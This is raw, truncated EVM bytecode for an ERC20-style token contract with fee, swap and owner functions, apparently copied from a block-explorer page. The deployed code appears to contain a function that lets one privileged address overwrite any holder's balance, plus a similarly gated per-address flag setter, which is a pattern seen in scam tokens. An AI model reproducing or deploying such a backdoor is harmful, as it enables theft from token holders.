5b505afa158015613803573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906138279190613c03565b8160018151811061383b5761383a61468b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506138a230601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846128a7565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016139069594939291906142c2565b600060405180830381600087803b15801561392057600080fd5b505af1158015613934573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051613969929190614292565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156139bb573d6000803e3d6000fd5b505050565b6139ed30601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846128a7565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613a39611e81565b426040518863ffffffff1660e01b8152600401613a5b969594939291906140de565b6060604051808303818588803b158015613a7457600080fd5b505af1158015613a88573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613aad9190613e10565b5050505050565b60008083118290613afb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613af29190614175565b60405180910390fd5b5060008385613b0a91906143e2565b9050809150509392505050565b600081359050613b26816148f0565b92915050565b600081519050613b3b816148f0565b92915050565b60008083601f840112613b5757613b566146ee565b5b8235905067ffffffffffffffff811115613b7457613b736146e9565b5b602083019150836020820283011115613b9057613b8f6146f3565b5b9250929050565b600081359050613ba681614907565b92915050565b600081359050613bbb8161491e565b92915050565b600081519050613bd08161491e565b92915050565b600060208284031215613bec57613beb6146fd565b5b6000613bfa84828501613b17565b91505092915050565b600060208284031215613c1957613c186146fd565b5b6000613c2784828501613b2c565b91505092915050565b60008060408385031215613c4757613c466146fd565b5b6000613c5585828601613b17565b9250506020613c6685828601613b17565b9150509250929050565b600080600060608486031215613c8957613c886146fd565b5b6000613c9786828701613b17565b9350506020613ca886828701613b17565b9250506040613cb986828701613bac565b9150509250925092565b60008060408385031215613cda57613cd96146fd565b5b6000613ce885828601613b17565b9250506020613cf985828601613bac565b9150509250929050565b600080600060408486031215613d1c57613d1b6146fd565b5b600084013567ffffffffffffffff811115613d3a57613d396146f8565b5b613d4686828701613b41565b93509350506020613d5986828701613b97565b9150509250925092565b600060208284031215613d7957613d786146fd565b5b6000613d8784828501613b97565b91505092915050565b600060208284031215613da657613da56146fd565b5b6000613db484828501613bac565b91505092915050565b600080600060608486031215613dd657613dd56146fd565b5b6000613de486828701613bac565b9350506020613df586828701613bac565b9250506040613e0686828701613bac565b9150509250925092565b600080600060608486031215613e2957613e286146fd565b5b6000613e3786828701613bc1565b9350506020613e4886828701613bc1565b9250506040613e5986828701613bc1565b9150509250925092565b6000613e6f8383613e8a565b60208301905092915050565b613e84816144b3565b82525050565b613e93816144a1565b82525050565b613ea2816144a1565b82525050565b6000613eb382614347565b613ebd818561436a565b9350613ec883614337565b8060005b83811015613ef9578151613ee08882613e63565b9750613eeb8361435d565b925050600181019050613ecc565b5085935050505092915050565b613f0f816144c5565b82525050565b613f1e81614508565b82525050565b613f2d8161451a565b82525050565b6000613f3e82614352565b613f48818561437b565b9350613f58818560208601614550565b613f6181614702565b840191505092915050565b6000613f7960238361437b565b9150613f8482614713565b604082019050919050565b6000613f9c60228361437b565b9150613fa782614762565b604082019050919050565b6000613fbf601b8361437b565b9150613fca826147b1565b602082019050919050565b6000613fe260218361437b565b9150613fed826147da565b604082019050919050565b600061400560208361437b565b915061401082614829565b602082019050919050565b600061402860258361437b565b915061403382614852565b604082019050919050565b600061404b60248361437b565b9150614056826148a1565b604082019050919050565b61406a816144f1565b82525050565b614079816144fb565b82525050565b60006020820190506140946000830184613e99565b92915050565b60006020820190506140af6000830184613e7b565b92915050565b60006040820190506140ca6000830185613e99565b6140d76020830184613e99565b9392505050565b600060c0820190506140f36000830189613e99565b6141006020830188614061565b61410d6040830187613f24565b61411a6060830186613f24565b6141276080830185613e99565b61413460a0830184614061565b979650505050505050565b60006020820190506141546000830184613f06565b92915050565b600060208201905061416f6000830184613f15565b92915050565b6000602082019050818103600083015261418f8184613f33565b905092915050565b600060208201905081810360008301526141b081613f6c565b9050919050565b600060208201905081810360008301526141d081613f8f565b9050919050565b600060208201905081810360008301526141f081613fb2565b9050919050565b6000602082019050818103600083015261421081613fd5565b9050919050565b6000602082019050818103600083015261423081613ff8565b9050919050565b600060208201905081810360008301526142508161401b565b9050919050565b600060208201905081810360008301526142708161403e565b9050919050565b600060208201905061428c6000830184614061565b92915050565b60006040820190506142a76000830185614061565b81810360208301526142b98184613ea8565b90509392505050565b600060a0820190506142d76000830188614061565b6142e46020830187613f24565b81810360408301526142f68186613ea8565b90506143056060830185613e99565b6143126080830184614061565b9695505050505050565b60006020820190506143316000830184614070565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000614397826144f1565b91506143a2836144f1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156143d7576143d66145fe565b5b828201905092915050565b60006143ed826144f1565b91506143f8836144f1565b9250826144085761440761462d565b5b828204905092915050565b600061441e826144f1565b9150614429836144f1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614462576144616145fe565b5b828202905092915050565b6000614478826144f1565b9150614483836144f1565b925082821015614496576144956145fe565b5b828203905092915050565b60006144ac826144d1565b9050919050565b60006144be826144d1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006145138261452c565b9050919050565b6000614525826144f1565b9050919050565b60006145378261453e565b9050919050565b6000614549826144d1565b9050919050565b60005b8381101561456e578082015181840152602081019050614553565b8381111561457d576000848401525b50505050565b6000600282049050600182168061459b57607f821691505b602082108114156145af576145ae61465c565b5b50919050565b60006145c0826144f1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156145f3576145f26145fe565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6148f9816144a1565b811461490457600080fd5b50565b614910816144c5565b811461491b57600080fd5b50565b614927816144f1565b811461493257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201a022362d82a228e48f03c481796831a293cba77090a8f5828b8f01314cec22864736f6c63430008070033

Deployed Bytecode

0x6080604052600436106103855760003560e01c80638b42507f116101d1578063c469b6dd11610102578063d469a209116100a0578063f0cd1dac1161006f578063f0cd1dac14610d85578063f1d5f51714610db0578063f2fde38b14610dd9578063f872858a14610e025761038c565b8063d469a20914610cc9578063da00097d14610cf2578063dc44b6a014610d1d578063dd62ed3e14610d485761038c565b8063c816841b116100dc578063c816841b14610c0b578063c860795214610c36578063c867d60b14610c61578063cab0347114610c9e5761038c565b8063c469b6dd14610b8c578063c49b9a8014610bb7578063c5d2418914610be05761038c565b8063a5d69d1f1161016f578063ae2116b811610149578063ae2116b814610ac0578063b20a4e5a14610afd578063b3ca68b414610b3a578063c2d4640e14610b635761038c565b8063a5d69d1f14610a2f578063a83f53a714610a58578063a9059cbb14610a835761038c565b8063a073d37f116101ab578063a073d37f14610973578063a08e671f1461099e578063a2a62722146109c9578063a457c2d7146109f25761038c565b80638b42507f146108e05780638da5cb5b1461091d57806395d89b41146109485761038c565b80633b97084a116102b65780636249faf1116102545780637dc94d5f116102235780637dc94d5f14610822578063807c2d9c1461085f57806382eefb431461088a57806388790a68146108b55761038c565b80636249faf11461076857806370a0823114610791578063715266fe146107ce5780637d1db4a5146107f75761038c565b80634a74bb02116102905780634a74bb02146106aa57806357a5802f146106d55780635881f3ef1461070057806361a23c691461073d5761038c565b80633b97084a1461061b5780633ecad2711461064457806340f756b5146106815761038c565b80632563ae83116103235780632c4b2334116102fd5780632c4b233414610561578063313ce5671461058a57806335d23615146105b557806339509351146105de5761038c565b80632563ae83146104e257806327c8f8351461050b5780632b112e49146105365761038c565b80631245e3471161035f5780631245e347146104245780631694505e1461044f57806318160ddd1461047a57806323b872dd146104a55761038c565b806306fdde0314610391578063090af428146103bc578063095ea7b3146103e75761038c565b3661038c57005b600080fd5b34801561039d57600080fd5b506103a6610e2d565b6040516103b39190614175565b60405180910390f35b3480156103c857600080fd5b506103d1610ebf565b6040516103de919061409a565b60405180910390f35b3480156103f357600080fd5b5061040e60048036038101906104099190613cc3565b610ee5565b60405161041b919061413f565b60405180910390f35b34801561043057600080fd5b50610439610f03565b604051610446919061409a565b60405180910390f35b34801561045b57600080fd5b50610464610f29565b604051610471919061415a565b60405180910390f35b34801561048657600080fd5b5061048f610f4f565b60405161049c9190614277565b60405180910390f35b3480156104b157600080fd5b506104cc60048036038101906104c79190613c70565b610f59565b6040516104d9919061413f565b60405180910390f35b3480156104ee57600080fd5b5061050960048036038101906105049190613d63565b611033565b005b34801561051757600080fd5b506105206110e5565b60405161052d919061407f565b60405180910390f35b34801561054257600080fd5b5061054b611109565b6040516105589190614277565b60405180910390f35b34801561056d57600080fd5b5061058860048036038101906105839190613bd6565b61114d565b005b34801561059657600080fd5b5061059f611226565b6040516105ac919061431c565b60405180910390f35b3480156105c157600080fd5b506105dc60048036038101906105d79190613bd6565b61123d565b005b3480156105ea57600080fd5b5061060560048036038101906106009190613cc3565b611316565b604051610612919061413f565b60405180910390f35b34801561062757600080fd5b50610642600480360381019061063d9190613d90565b6113c9565b005b34801561065057600080fd5b5061066b60048036038101906106669190613bd6565b611468565b604051610678919061413f565b60405180910390f35b34801561068d57600080fd5b506106a860048036038101906106a39190613d03565b611488565b005b3480156106b657600080fd5b506106bf6115ef565b6040516106cc919061413f565b60405180910390f35b3480156106e157600080fd5b506106ea611602565b6040516106f79190614277565b60405180910390f35b34801561070c57600080fd5b5061072760048036038101906107229190613bd6565b611608565b604051610734919061407f565b60405180910390f35b34801561074957600080fd5b50610752611b66565b60405161075f9190614277565b60405180910390f35b34801561077457600080fd5b5061078f600480360381019061078a9190613d03565b611b6c565b005b34801561079d57600080fd5b506107b860048036038101906107b39190613bd6565b611ca6565b6040516107c59190614277565b60405180910390f35b3480156107da57600080fd5b506107f560048036038101906107f09190613d03565b611cef565b005b34801561080357600080fd5b5061080c611e29565b6040516108199190614277565b60405180910390f35b34801561082e57600080fd5b5061084960048036038101906108449190613bd6565b611e2f565b604051610856919061413f565b60405180910390f35b34801561086b57600080fd5b50610874611e4f565b6040516108819190614277565b60405180910390f35b34801561089657600080fd5b5061089f611e55565b6040516108ac9190614277565b60405180910390f35b3480156108c157600080fd5b506108ca611e5b565b6040516108d79190614277565b60405180910390f35b3480156108ec57600080fd5b5061090760048036038101906109029190613bd6565b611e61565b604051610914919061413f565b60405180910390f35b34801561092957600080fd5b50610932611e81565b60405161093f919061407f565b60405180910390f35b34801561095457600080fd5b5061095d611eaa565b60405161096a9190614175565b60405180910390f35b34801561097f57600080fd5b50610988611f3c565b6040516109959190614277565b60405180910390f35b3480156109aa57600080fd5b506109b3611f46565b6040516109c09190614277565b60405180910390f35b3480156109d557600080fd5b506109f060048036038101906109eb9190613dbd565b611f4c565b005b3480156109fe57600080fd5b50610a196004803603810190610a149190613cc3565b61202c565b604051610a26919061413f565b60405180910390f35b348015610a3b57600080fd5b50610a566004803603810190610a519190613d63565b6120f9565b005b348015610a6457600080fd5b50610a6d6121ab565b604051610a7a9190614277565b60405180910390f35b348015610a8f57600080fd5b50610aaa6004803603810190610aa59190613cc3565b6121b1565b604051610ab7919061413f565b60405180910390f35b348015610acc57600080fd5b50610ae76004803603810190610ae29190613bd6565b6121d0565b604051610af4919061413f565b60405180910390f35b348015610b0957600080fd5b50610b246004803603810190610b1f9190613bd6565b6121f0565b604051610b31919061413f565b60405180910390f35b348015610b4657600080fd5b50610b616004803603810190610b5c9190613cc3565b612210565b005b348015610b6f57600080fd5b50610b8a6004803603810190610b859190613dbd565b612290565b005b348015610b9857600080fd5b50610ba1612370565b604051610bae9190614277565b60405180910390f35b348015610bc357600080fd5b50610bde6004803603810190610bd99190613d63565b612376565b005b348015610bec57600080fd5b50610bf561245f565b604051610c029190614277565b60405180910390f35b348015610c1757600080fd5b50610c20612465565b604051610c2d919061407f565b60405180910390f35b348015610c4257600080fd5b50610c4b61248b565b604051610c589190614277565b60405180910390f35b348015610c6d57600080fd5b50610c886004803603810190610c839190613bd6565b612491565b604051610c95919061413f565b60405180910390f35b348015610caa57600080fd5b50610cb36124b1565b604051610cc09190614277565b60405180910390f35b348015610cd557600080fd5b50610cf06004803603810190610ceb9190613dbd565b6124b7565b005b348015610cfe57600080fd5b50610d07612597565b604051610d14919061413f565b60405180910390f35b348015610d2957600080fd5b50610d326125aa565b604051610d3f9190614277565b60405180910390f35b348015610d5457600080fd5b50610d6f6004803603810190610d6a9190613c30565b6125b0565b604051610d7c9190614277565b60405180910390f35b348015610d9157600080fd5b50610d9a612637565b604051610da79190614277565b60405180910390f35b348015610dbc57600080fd5b50610dd76004803603810190610dd29190613d90565b61263d565b005b348015610de557600080fd5b50610e006004803603810190610dfb9190613bd6565b6126dc565b005b348015610e0e57600080fd5b50610e1761282e565b604051610e24919061413f565b60405180910390f35b606060018054610e3c90614583565b80601f0160208091040260200160405190810160405280929190818152602001828054610e6890614583565b8015610eb55780601f10610e8a57610100808354040283529160200191610eb5565b820191906000526020600020905b815481529060010190602001808311610e9857829003601f168201915b5050505050905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610ef9610ef261289f565b84846128a7565b6001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601954905090565b6000610f66848484612a72565b5061102884610f7361289f565b6110238560405180606001604052806028815260200161493660289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610fd961289f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e9c9092919063ffffffff16565b6128a7565b600190509392505050565b61103b61289f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bf90614217565b60405180910390fd5b80601e60176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b60006111486111377f000000000000000000000000000000000000000000000000000000000000dead611ca6565b601954612f0090919063ffffffff16565b905090565b61115561289f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d990614217565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360009054906101000a900460ff16905090565b61124561289f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c990614217565b60405180910390fd5b80600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006113bf61132361289f565b846113ba856006600061133461289f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461284190919063ffffffff16565b6128a7565b6001905092915050565b6113d161289f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461145e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145590614217565b60405180910390fd5b80601c8190555050565b600a6020528060005260406000206000915054906101000a900460ff1681565b6114b6600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600133612f4a565b6114bf576115ea565b60005b838390508110156115e8578115611557576001600c60008686858181106114ec576114eb61468b565b5b90506020020160208101906115019190613bd6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506115d7565b6000600c60008686858181106115705761156f61468b565b5b90506020020160208101906115859190613bd6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806115e1906145b5565b90506114c2565b505b505050565b601e60159054906101000a900460ff1681565b60135481565b600061161261289f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461169f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169690614217565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156116ea57600080fd5b505afa1580156116fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117229190613c03565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561178457600080fd5b505afa158015611798573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117bc9190613c03565b6040518363ffffffff1660e01b81526004016117d99291906140b5565b60206040518083038186803b1580156117f157600080fd5b505afa158015611805573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118299190613c03565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119ea578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156118a657600080fd5b505afa1580156118ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118de9190613c03565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561194057600080fd5b505afa158015611954573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119789190613c03565b6040518363ffffffff1660e01b81526004016119959291906140b5565b602060405180830381600087803b1580156119af57600080fd5b505af11580156119c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119e79190613c03565b91505b81601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160086000601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b60145481565b611b7461289f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf890614217565b60405180910390fd5b60005b83839050811015611ca0578160086000868685818110611c2757611c2661468b565b5b9050602002016020810190611c3c9190613bd6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611c98906145b5565b915050611c04565b50505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611cf761289f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7b90614217565b60405180910390fd5b60005b83839050811015611e23578160076000868685818110611daa57611da961468b565b5b9050602002016020810190611dbf9190613bd6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611e1b906145b5565b915050611d87565b50505050565b601a5481565b600c6020528060005260406000206000915054906101000a900460ff1681565b601b5481565b60175481565b60105481565b60096020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054611eb990614583565b80601f0160208091040260200160405190810160405280929190818152602001828054611ee590614583565b8015611f325780601f10611f0757610100808354040283529160200191611f32565b820191906000526020600020905b815481529060010190602001808311611f1557829003601f168201915b5050505050905090565b6000601c54905090565b60185481565b611f5461289f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd890614217565b60405180910390fd5b82601081905550816011819055508060128190555061202160125461201360115460105461284190919063ffffffff16565b61284190919063ffffffff16565b601781905550505050565b60006120ef61203961289f565b846120ea8560405180606001604052806025815260200161495e602591396006600061206361289f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e9c9092919063ffffffff16565b6128a7565b6001905092915050565b61210161289f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461218e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218590614217565b60405180910390fd5b80601e60166101000a81548160ff02191690831515021790555050565b60155481565b60006121c56121be61289f565b8484612a72565b506001905092915050565b600b6020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b61223e600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600133612f4a565b6122475761228c565b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b61229861289f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231c90614217565b60405180910390fd5b82601381905550816014819055508060158190555061236560155461235760145460135461284190919063ffffffff16565b61284190919063ffffffff16565b601881905550505050565b600f5481565b61237e61289f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461240b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240290614217565b60405180910390fd5b80601e60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051612454919061413f565b60405180910390a150565b600e5481565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60115481565b60086020528060005260406000206000915054906101000a900460ff1681565b60125481565b6124bf61289f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461254c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254390614217565b60405180910390fd5b82600d8190555081600e8190555080600f8190555061258c600f5461257e600e54600d5461284190919063ffffffff16565b61284190919063ffffffff16565b601681905550505050565b601e60169054906101000a900460ff1681565b600d5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60165481565b61264561289f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146126d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126c990614217565b60405180910390fd5b80601b8190555050565b6126e461289f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612771576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276890614217565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b601e60179054906101000a900460ff1681565b6000808284612850919061438c565b905083811015612895576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161288c906141d7565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612917576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161290e90614257565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612987576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161297e906141b7565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612a659190614277565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612ae3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ada90614237565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b4a90614197565b60405180910390fd5b601e60149054906101000a900460ff1615612b7a57612b73848484612f91565b9050612e95565b6000612b8530611ca6565b90506000601c548210159050808015612bab5750601e60149054906101000a900460ff16155b8015612c015750600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612c195750601e60159054906101000a900460ff165b15612c4357601e60169054906101000a900460ff1615612c3957601c5491505b612c4282613164565b5b612c9584600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f0090919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612d7b5750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612d8f57612d8a878787613355565b612d91565b845b9050612de581600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461284190919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612e859190614277565b60405180910390a3600193505050505b9392505050565b6000838311158290612ee4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612edb9190614175565b60405180910390fd5b5060008385612ef3919